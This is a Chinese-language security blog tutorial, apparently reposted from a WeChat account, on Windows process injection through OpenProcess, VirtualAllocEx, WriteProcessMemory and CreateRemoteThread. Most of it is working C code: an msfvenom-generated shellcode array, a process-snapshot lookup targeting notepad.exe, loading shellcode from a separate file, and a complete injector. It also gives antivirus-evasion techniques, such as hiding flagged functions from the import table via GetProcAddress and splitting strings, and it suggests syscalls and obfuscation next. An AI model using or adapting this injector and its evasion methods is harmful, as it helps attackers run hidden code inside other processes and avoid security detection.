进程注入的探索

admin 2022年7月29日13:09:11评论25 views字数 10301阅读34分20秒阅读模式

本文首发先知,原文请点下方阅读原文~

前言

文章涉及的技术并不深,只是本人在学习进程注入过程中的记录,文章的内容将涉及到进程注入基础、通过快照自动获取Pid、分离加载shellcode、IAT导入表的基本处理、静态源码基本处理等,过程中需要理解的部分,我会尽可能言简意赅。

0x01 简单描述

进程注入就是给一个正在运行的程序开辟一块内存,把shellcode放入内存,然后用一个线程去执行shellcode。

0x02 shellcode

所有代码示例都使用从 Metasploit Frameworks Msfvenom 工具生成的相同 64 位 shellcode。
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
shellcode 执行 Calc.exe

0x03 代码实现

关于 CreateRemoteThread() 进程注入,实际上需要实现四个主要目标:

  • OpenProcess() 打开将要注入进程获取句柄

  • VirtualAllocEx() – 能够访问外部进程以便在其虚拟地址空间内分配内存。

  • WriteProcessMemory( ) – 将 shellcode 写入分配的内存。

  • CreateRemoteThread() – 让外部进程在另一个线程中执行上述 shellcode。

获取目标进程句柄 OpenProcess()
OpenProcess 函数打开一个现有的进程对象。

HANDLE OpenProcess(
DWORD dwDesiredAccess, // 渴望得到的访问权限(标志),那肯定是PROCESS_ALL_ACCESS,所有权限啊
BOOL bInheritHandle, // 是否继承句柄,一般不
DWORD dwProcessId // 进程标识符,即受害者进程的PID);

申请内存 VirtualAllocEx()
我们首先需要分配一块与我们的 shellcode 大小相同的内存。VirtualAllocEx 是我们需要调用的 Windows API,以便初始化位于指定进程(即我们要注入的进程)的虚拟地址空间内的内存区域中的缓冲区空间。
VirtualAllocEx – 与VirtualAlloc (HANDLE hProcess)相比,此 API 调用需要一个附加参数,后者是受害者进程的句柄。

LPVOID VirtualAllocEx(
HANDLE hProcess, // 申请内存所在的进程句柄
LPVOID lpAddress, // 保留页面的内存地址,一般用NULL自动分配
SIZE_T dwSize, // 欲分配的内存大小,字节为单位,通常是shellcode大小
DWORD flAllocationType, // 指定要分配的内存类型,常用 MEM_RESERVE | MEM_COMMIT
DWORD flProtect // 指定分配的内存保护,由于它将包含要执行的代码,因此常用 PAGE_EXECUTE_READWRITE,可读可写可执行);

写进程内存 WriteProcessMemory()
现在我们已经分配了一个与我们的 shellcode 大小相同的缓冲区,我们可以将我们的 shellcode 写入该缓冲区。

WriteProcessMemory()  将数据写入指定进程中的内存区域。BOOL WriteProcessMemory(
HANDLE hProcess, // 要向其中写入数据的进程,即由OpenProcess返回的进程句柄
LPVOID lpBaseAddress, // 要写入的数据的首地址,VirtualAllocEx的返回值
LPCVOID lpBuffer, // 指向要写的数据的指针,该指针必须是const指针,即shellcode
SIZE_T nSize, // 要写入的字节数,shellcode大小
SIZE_T *lpNumberOfBytesWritten // 接收传输到指定进程中的字节数,通常为NULL);

创建远程线程 CreateRemoteThread()
将 shellcode 加载到受害进程分配的虚拟内存空间后,我们现在可以告诉受害进程从我们的 shellcode 缓冲区地址开始创建一个新线程。
CreateRemoteThread() – 创建一个在另一个进程的虚拟地址空间中运行的线程。

HANDLE CreateRemoteThread(
HANDLE hProcess, // 线程所属进程的进程句柄,即OpenProcess返回的句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程的安全属性,通常为NULL
SIZE_T dwStackSize, // 线程栈初始大小,以字节为单位,通常为0,即代表使用系统默认大小.
LPTHREAD_START_ROUTINE lpStartAddress, // 在远程进程的地址空间中,该进程的线程函数的起始地址。VirtualAllocEx返回值,注意需要强制类型转换成 LPTHREAD_START_ROUTINE
LPVOID lpParameter, // 传给线程函数的参数的指针,这里为NULL,在DLL注入的时候有重要意义
DWORD dwCreationFlags, // 线程的创建标志,通常为0,即线程创建后立即运行
LPDWORD lpThreadId // 指向所创建线程ID的指针,通常为NULL);

基础代码

#include <windows.h>#include <stdio.h>int main(int argc, char* argv[]) {

unsigned char buf[] = "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52""x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48""x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9""x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41""x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48""x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01""xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48""xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0""xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c""x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0""x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04""x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59""x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48""x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00""x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6f""x87xffxd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxff""xd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbb""x47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6c""x63x2ex65x78x65x00";

printf("alloc:%pn", buf);HANDLE Process = OpenProcess(
(DWORD)PROCESS_ALL_ACCESS,
(BOOL)FALSE,
//(DWORD)atoi(pid));
atoi(argv[1]));
if (Process == NULL)
{
printf("nopenprocess error%dn", GetLastError());
}
printf("pid:%d",atoi(argv[1]));


void * exec = VirtualAllocEx( Process, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if (exec == NULL)
{
printf("VirtualAllocEx error%dn", GetLastError());
} BOOL Memory = WriteProcessMemory(
(HANDLE)Process,
(LPVOID)exec,
(LPCVOID)buf,
sizeof buf,
NULL );
if (Memory == 0)
{
printf("WriteProcessMemory:%dn", GetLastError());
} HANDLE thred = CreateRemoteThread(
(HANDLE)Process,
(LPSECURITY_ATTRIBUTES)NULL,
(SIZE_T)0,
(LPTHREAD_START_ROUTINE)exec,
(LPVOID)NULL,
(DWORD)0,
(LPDWORD)NULL );
if (thred == NULL)
{
printf("CreateRemoteThread:%dn", GetLastError());
} }


进程注入的探索

拍摄快照自动获取pid
官方demo https://docs.microsoft.com/en-us/windows/win32/toolhelp/taking-a-snapshot-and-viewing-processes

// 拍摄快照HANDLE Snapshot = CreateToolhelp32Snapshot((DWORD)TH32CS_SNAPPROCESS,(DWORD)0);if (Snapshot == INVALID_HANDLE_VALUE){
printf("CreateToolhelp32Snapshot:%dn", GetLastError());}//初始化PROCESSENTRY32 pe32;pe32.dwSize = sizeof(PROCESSENTRY32);BOOL First = Process32First(
(HANDLE)Snapshot,
&pe32);if (First == FALSE){
printf("Process32First:%dn", GetLastError());}//匹配注入进程名字DWORD pid;while (First){
if (wcscmp(pe32.szExeFile, L"notepad.exe") == 0)
{
pid = pe32.th32ProcessID;
break;
}
First = Process32Next((HANDLE)Snapshot,
&pe32);}


进程注入的探索

分离加载 shellcode

HANDLE openinfile = CreateFileA( 
//"e:\calc.bin",
lnFileName,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);


if (openinfile == INVALID_HANDLE_VALUE);
{
printf("CreateFile Error:%dn", GetLastError());
}
//
int size = GetFileSize(openinfile, NULL);
if (size == INVALID_FILE_SIZE);
{
printf("GetFileSize Error:%dn", GetLastError());
}
//
char* buf = (char*)malloc(size + 1);
DWORD lpNumberOfBytesRead = 0;
//
BOOL rfile = ReadFile(
openinfile,
buf,
size,
&lpNumberOfBytesRead,
NULL);
for (int i = 0; i < size; i++)
{
printf("\x%02x", (unsigned char)buf[i]);
}


进程注入的探索


IAT,导入地址表(Import Address Table)

IAT表是执行程序或者dll为了实现动态加载和重定位函数地址,用到的一个导入函数地址表。这里面记录了每个导入函数的名字和所在的dll名称,在pe加载的时候系统会加载这些dll到用户的地址空间然后把函数地址覆盖这个表里的函数地址,然后重构所有用到这个表的代码,让其调用直接指向实际函数地址(PE是否覆盖不确定,驱动会这么做),PE的IAT表会留在内存,驱动的就丢弃了。

翻译:IAT是一种表格,用来记录程序正在使用哪些库中的哪些函数。

如果一个文件的文件大小在300KB以内,并且导入函数又有Virtual Alloc、CreateThread等高危函数、且VirtualAlloc的最后一个参数是0x40,那么此文件极有可能是高危文件,会被重点关注。

这里使用VS自带的 dumpbin查看

进程注入的探索

没修改iat之前 可以看到存在高危函数 如VirtualAllocEx、CreateRemoteThread、WriteProcessMemory等

进程注入的探索

在字符串中还能看到敏感函数关键字,解决办法:通过拆分、源代码混淆、加壳等即可。

进程注入的探索

GetProcAddress 获取函数地址
GetProcAddress这个API在Kernel32.dll中被导出,主要功能是从一个加载的模块中获取函数的地址。

typedef LPVOID(WINAPI* Virtual_AllocEx)( 
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect ); typedef BOOL (WINAPI* ImportWriteProcessMemory)(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_reads_bytes_(nSize) LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_opt_ SIZE_T* lpNumberOfBytesWritten ); typedef HANDLE (WINAPI* ImportCreateRemoteThread)(
_In_ HANDLE hProcess,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_opt_ LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_opt_ LPDWORD lpThreadId );

//避免高危字符串
char ker32[] = { 'K','e','r','n','e','l','3','2','.','d','l','l',0 };
HMODULE hKer32 = LoadLibraryA(ker32);
char VAllocEx[] = { 'V','i','r','t','u','a','l','l','o','c','E','x',0};
Virtual_AllocEx V_AllocEx = (Virtual_AllocEx)GetProcAddress(hKer32, VAllocEx);//ImportVirtualAllocEx MyVirtualAllocEx = //(ImportVirtualAllocEx)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAllocEx"); ImportWriteProcessMemory MyWriteProcessMemory = (ImportWriteProcessMemory)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WriteProcessMemory"); ImportCreateRemoteThread MyCreateRemoteThread = (ImportCreateRemoteThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateRemoteThread");

修改后查看一下导入表,高危函数已不在iat中了

进程注入的探索


完整代码

#include <windows.h> #include <stdio.h> #include <tlhelp32.h> #include <TCHAR.h> typedef LPVOID(WINAPI* ImportVirtualAllocEx)( 
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
); typedef BOOL(WINAPI* ImportWriteProcessMemory)(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_reads_bytes_(nSize) LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_opt_ SIZE_T* lpNumberOfBytesWritten
); typedef HANDLE(WINAPI* ImportCreateRemoteThread)(
_In_ HANDLE hProcess,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_opt_ LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_opt_ LPDWORD lpThreadId
); void code(LPCSTR lnFileName) {


//char ker32[] = { 'K','E','r','n','e','l','3','2','.','d','l','l',0 };
//HMODULE hKer32 = LoadLibraryA(ker32);
//char VAllocEx[] = { 'V','i','r','t','u','a','l','l','o','c','E','x',0 };
//Virtual_AllocEx V_AllocEx = (Virtual_AllocEx)GetProcAddress(hKer32, "VirtualAllocEx");


ImportVirtualAllocEx MyVirtualAllocEx = (ImportVirtualAllocEx)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAllocEx");
ImportWriteProcessMemory MyWriteProcessMemory = (ImportWriteProcessMemory)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WriteProcessMemory");
ImportCreateRemoteThread MyCreateRemoteThread = (ImportCreateRemoteThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateRemoteThread");

HANDLE openinfile = CreateFileA(
//"e:\calc.bin",
lnFileName,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);

if (openinfile == INVALID_HANDLE_VALUE);
{
printf("CreateFile Error:%dn", GetLastError());
}
//
int size = GetFileSize(openinfile, NULL);
if (size == INVALID_FILE_SIZE);
{
printf("GetFileSize Error:%dn", GetLastError());
}
//
char* buf = (char*)malloc(size + 1);
DWORD lpNumberOfBytesRead = 0;
//
BOOL rfile = ReadFile(
openinfile,
buf,
size,
&lpNumberOfBytesRead,
NULL);
for (int i = 0; i < size; i++)
{
printf("\x%02x", (unsigned char)buf[i]);
}

//
HANDLE Snapshot = CreateToolhelp32Snapshot((DWORD)TH32CS_SNAPPROCESS, (DWORD)0);
if (Snapshot == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot:%dn", GetLastError());
}
//
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);

BOOL First = Process32First(
(HANDLE)Snapshot,
&pe32);
if (First == FALSE)
{
printf("Process32First:%dn", GetLastError());
}

//
DWORD pid;
while (First)
{
if (wcscmp(pe32.szExeFile, L"notepad.exe") == 0)
{
pid = pe32.th32ProcessID;
break;
}
First = Process32Next((HANDLE)Snapshot,
&pe32);
}

HANDLE Process = OpenProcess(
(DWORD)PROCESS_ALL_ACCESS,
(BOOL)false,
//(DWORD)atoi(pid));
(DWORD)pid
);
if (Process == NULL)
{
CloseHandle(Process);
printf("nopenprocess error%dn", GetLastError());
}
_tprintf(TEXT("npid:%dn"), pe32.th32ProcessID);


HANDLE exec = MyVirtualAllocEx(
Process,
NULL,
//sizeof(buf),
size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
if (exec == NULL)
{
printf("VirtualAllocEx error%dn", GetLastError());
}



BOOL Memory = MyWriteProcessMemory(
(HANDLE)Process,
(LPVOID)exec,
(LPCVOID)buf,
//sizeof buf,
size,
NULL);
if (Memory == 0)
{
printf("WriteProcessMemory:%dn", GetLastError());
}



HANDLE thred = MyCreateRemoteThread(
(HANDLE)Process,
(LPSECURITY_ATTRIBUTES)NULL,
(SIZE_T)0,
(LPTHREAD_START_ROUTINE)exec,
(LPVOID)NULL,
(DWORD)0,
(LPDWORD)NULL);
if (thred == NULL)
{
CloseHandle(thred);
printf("CreateRemoteThread:%dn", GetLastError());
} } int main(int argc, char* argv[]) {
//int main()
if (argc != 2)
{
printf("please bin");
}
else
{
code(argv[1]);
} }

后续还可以尝试增加syscall直接调用、回调函数执行、申请内存优化、高强度加密混淆等等,还请师傅自行搭配使用。

0x04 相关推荐

https://payloads.online/archivers/2020-10-23/1/
https://macchiato.ink/hst/ProcessInjection/CreateRemoteThread/
https://github.com/d35ha/CallObfuscator




进程注入的探索

原文始发于微信公众号(白帽100安全攻防实验室):进程注入的探索

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月29日13:09:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   进程注入的探索http://cn-sec.com/archives/1208706.html

发表评论

匿名网友 填写信息